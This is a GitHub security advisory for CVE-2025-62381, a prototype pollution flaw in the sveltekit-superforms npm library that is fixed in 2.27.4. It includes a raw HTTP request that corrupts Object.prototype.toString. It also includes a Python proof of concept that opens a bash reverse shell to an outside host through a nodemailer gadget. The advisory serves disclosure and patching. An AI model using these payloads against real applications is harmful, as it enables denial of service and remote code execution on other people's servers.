ghsa-hwmc-4c8j-xxj7
Vulnerability from github
Published
2025-10-15 19:43
Modified
2025-10-15 19:43
Summary
`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`
Details

Summary

sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.

Details

Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the superValidate function, with the submitted form data and a form schema as arguments: js // https://superforms.rocks/get-started#posting-data const form = await superValidate(request, your_adapter(schema)); Within the superValidate function, a call is made to parseRequest in order to parse the user's input. parseRequest then calls into parseFormData, which in turn looks for the presence of __superform_json in the form parameters. If __superform_json is present, the following snippet is executed: ```js // src/lib/formData.ts if (formData.has('__superform_json')) { try { const transport = options && options.transport ? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode])) : undefined;

    const output = parse(formData.getAll('__superform_json').join('') ?? '', transport);
    if (typeof output === 'object') {
        // Restore uploaded files and add to data
        const filePaths = Array.from(formData.keys());

        for (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {
            const realPath = splitPath(path.substring(17));
            setPaths(output, [realPath], formData.get(path));
        }

        for (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {
            const realPath = splitPath(path.substring(18));
            const allFiles = formData.getAll(path);

            setPaths(output, [realPath], Array.from(allFiles));
        }

        return output as Record<string, unknown>;
    }
} catch {
    //
}

} This snippet deserializes JSON input within the `__superform_json`, and then performs a nested assignment into the deserialized object using values from form parameters beginning with `__superform_file_` and `__superform_files_`. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications: POST /signup HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://example.com/signup content-type: application/x-www-form-urlencoded x-sveltekit-action: true Content-Length: 70 Origin: http://example.com Connection: keep-alive Priority: u=0 Pragma: no-cache Cache-Control: no-cache

superform_json=[{}]&__superform_files___proto.toString='corrupted' ```

PoC

The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular nodemailer library (5 million weekly downloads from npm).

routes/signup/schema.ts: ```js import { z } from "zod/v4";

export const schema = z.object({ email: z .email({ error: "Please enter a valid email address.", }) .min(1, { error: "Email address is required.", }), password: z.string().min(8, { error: "Password must be at least 8 characters long.", }), }); `routes/signup/+page.server.ts`:js import { zod4 } from "sveltekit-superforms/adapters"; import { fail, setError, superValidate } from "sveltekit-superforms"; import { schema } from "./schema"; import nodemailer from "nodemailer"; import { MAIL_USER, MAIL_CLIENT_ID, MAIL_CLIENT_SECRET, MAIL_REFRESH_TOKEN, } from "$env/static/private";

export const actions = { default: async ({ request }) => { const form = await superValidate(request, zod4(schema));

    if (!form.valid) {
        return fail(400, { form });
    }

    // <insert other signup code here: DB ops, logging etc..>

    nodemailer
        .createTransport({
            service: "gmail",
            auth: {
                type: "OAuth2",
                user: MAIL_USER,
                clientId: MAIL_CLIENT_ID,
                clientSecret: MAIL_CLIENT_SECRET,
                refreshToken: MAIL_REFRESH_TOKEN,
            },
        })
        .sendMail({
            to: form.data.email,
            subject: "Welcome to $app!",
            html: "<p> Welcome to $app. We hope you enjoy your stay.</p>",
            text: "Welcome to $app. We hope you enjoy your stay.",
        });
},

}; ```

The following Python script then pollutes the base object prototype in order to achieve RCE. ```python

!/usr/bin/env python3

import requests

RHOST = "http://localhost:4173" session = requests.Session()

r = session.post( f"{RHOST}/signup", data={ "superform_json": "[{}]", "__superform_file___proto.sendmail": "1", "superform_file___proto.path": "/bin/bash", "superform_files___proto.args": [ "-c", "bash -i >& /dev/tcp/dread.mantel.group/443 0>&1", "--", ], }, headers={"Origin": RHOST}, )

r = session.post( f"{RHOST}/signup", data={"email": "me@example.com", "password": "usersignuppassword"}, headers={"Origin": RHOST}, ) ``` image

In addition to nodemailer, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other popular libraries and runtimes, which can be used together with this vulnerability.

Impact

Attackers can inject string and array properties into Object.prototype. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.

Show details on source website


{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.27.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sveltekit-superforms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.27.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62381"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-15T19:43:09Z",
    "nvd_published_at": "2025-10-15T18:15:40Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`sveltekit-superforms` v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the `parseFormData` function of `formData.js`. An attacker can inject string and array properties into `Object.prototype`, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.\n\n### Details\nSuperforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the `superValidate` function, with the submitted form data and a form schema as arguments:\n```js\n// https://superforms.rocks/get-started#posting-data\nconst form = await superValidate(request, your_adapter(schema));\n ```\n Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user\u0027s input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:\n```js\n// src/lib/formData.ts\nif (formData.has(\u0027__superform_json\u0027)) {\n\ttry {\n\t\tconst transport =\n\t\t\toptions \u0026\u0026 options.transport\n\t\t\t\t? Object.fromEntries(Object.entries(options.transport).map(([k, v]) =\u003e [k, v.decode]))\n\t\t\t\t: undefined;\n\n\t\tconst output = parse(formData.getAll(\u0027__superform_json\u0027).join(\u0027\u0027) ?? \u0027\u0027, transport);\n\t\tif (typeof output === \u0027object\u0027) {\n\t\t\t// Restore uploaded files and add to data\n\t\t\tconst filePaths = Array.from(formData.keys());\n\n\t\t\tfor (const path of filePaths.filter((path) =\u003e path.startsWith(\u0027__superform_file_\u0027))) {\n\t\t\t\tconst realPath = splitPath(path.substring(17));\n\t\t\t\tsetPaths(output, [realPath], formData.get(path));\n\t\t\t}\n\n\t\t\tfor (const path of filePaths.filter((path) =\u003e path.startsWith(\u0027__superform_files_\u0027))) {\n\t\t\t\tconst realPath = splitPath(path.substring(18));\n\t\t\t\tconst allFiles = formData.getAll(path);\n\n\t\t\t\tsetPaths(output, [realPath], Array.from(allFiles));\n\t\t\t}\n\n\t\t\treturn output as Record\u003cstring, unknown\u003e;\n\t\t}\n\t} catch {\n\t\t//\n\t}\n }\n```\nThis snippet deserializes JSON input within the `__superform_json`, and then performs a nested assignment into the deserialized object using values from form parameters beginning with `__superform_file_` and `__superform_files_`. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications:\n```\nPOST /signup HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://example.com/signup\ncontent-type: application/x-www-form-urlencoded\nx-sveltekit-action: true\nContent-Length: 70\nOrigin: http://example.com\nConnection: keep-alive\nPriority: u=0\nPragma: no-cache\nCache-Control: no-cache\n\n__superform_json=[{}]\u0026__superform_files___proto__.toString=\u0027corrupted\u0027\n```\n### PoC\nThe following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular `nodemailer` library (5 million weekly downloads from npm).\n\n`routes/signup/schema.ts`:\n```js\nimport { z } from \"zod/v4\";\n\nexport const schema = z.object({\n    email: z\n        .email({\n            error: \"Please enter a valid email address.\",\n        })\n        .min(1, {\n            error: \"Email address is required.\",\n        }),\n    password: z.string().min(8, {\n        error: \"Password must be at least 8 characters long.\",\n    }),\n});\n```\n`routes/signup/+page.server.ts`:\n```js\nimport { zod4 } from \"sveltekit-superforms/adapters\";\nimport { fail, setError, superValidate } from \"sveltekit-superforms\";\nimport { schema } from \"./schema\";\nimport nodemailer from \"nodemailer\";\nimport {\n    MAIL_USER,\n    MAIL_CLIENT_ID,\n    MAIL_CLIENT_SECRET,\n    MAIL_REFRESH_TOKEN,\n} from \"$env/static/private\";\n\nexport const actions = {\n    default: async ({ request }) =\u003e {\n        const form = await superValidate(request, zod4(schema));\n\n        if (!form.valid) {\n            return fail(400, { form });\n        }\n\n        // \u003cinsert other signup code here: DB ops, logging etc..\u003e\n\n        nodemailer\n            .createTransport({\n                service: \"gmail\",\n                auth: {\n                    type: \"OAuth2\",\n                    user: MAIL_USER,\n                    clientId: MAIL_CLIENT_ID,\n                    clientSecret: MAIL_CLIENT_SECRET,\n                    refreshToken: MAIL_REFRESH_TOKEN,\n                },\n            })\n            .sendMail({\n                to: form.data.email,\n                subject: \"Welcome to $app!\",\n                html: \"\u003cp\u003e Welcome to $app. We hope you enjoy your stay.\u003c/p\u003e\",\n                text: \"Welcome to $app. We hope you enjoy your stay.\",\n            });\n    },\n};\n```\n\nThe following Python script then pollutes the base object prototype in order to achieve RCE.\n```python\n#!/usr/bin/env python3\n\nimport requests\n\nRHOST = \"http://localhost:4173\"\nsession = requests.Session()\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\n        \"__superform_json\": \"[{}]\",\n        \"__superform_file___proto__.sendmail\": \"1\",\n        \"__superform_file___proto__.path\": \"/bin/bash\",\n        \"__superform_files___proto__.args\": [\n            \"-c\",\n            \"bash -i \u003e\u0026 /dev/tcp/dread.mantel.group/443 0\u003e\u00261\",\n            \"--\",\n        ],\n    },\n    headers={\"Origin\": RHOST},\n)\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\"email\": \"me@example.com\", \"password\": \"usersignuppassword\"},\n    headers={\"Origin\": RHOST},\n)\n```\n\u003cimg width=\"747\" height=\"173\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597\" /\u003e\n\nIn addition to `nodemailer`, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other [popular libraries and runtimes](https://github.com/KTH-LangSec/server-side-prototype-pollution), which can be used together with this vulnerability.\n\n### Impact\nAttackers can inject string and array properties into `Object.prototype`. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.",
  "id": "GHSA-hwmc-4c8j-xxj7",
  "modified": "2025-10-15T19:43:09Z",
  "published": "2025-10-15T19:43:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62381"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ciscoheat/sveltekit-superforms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…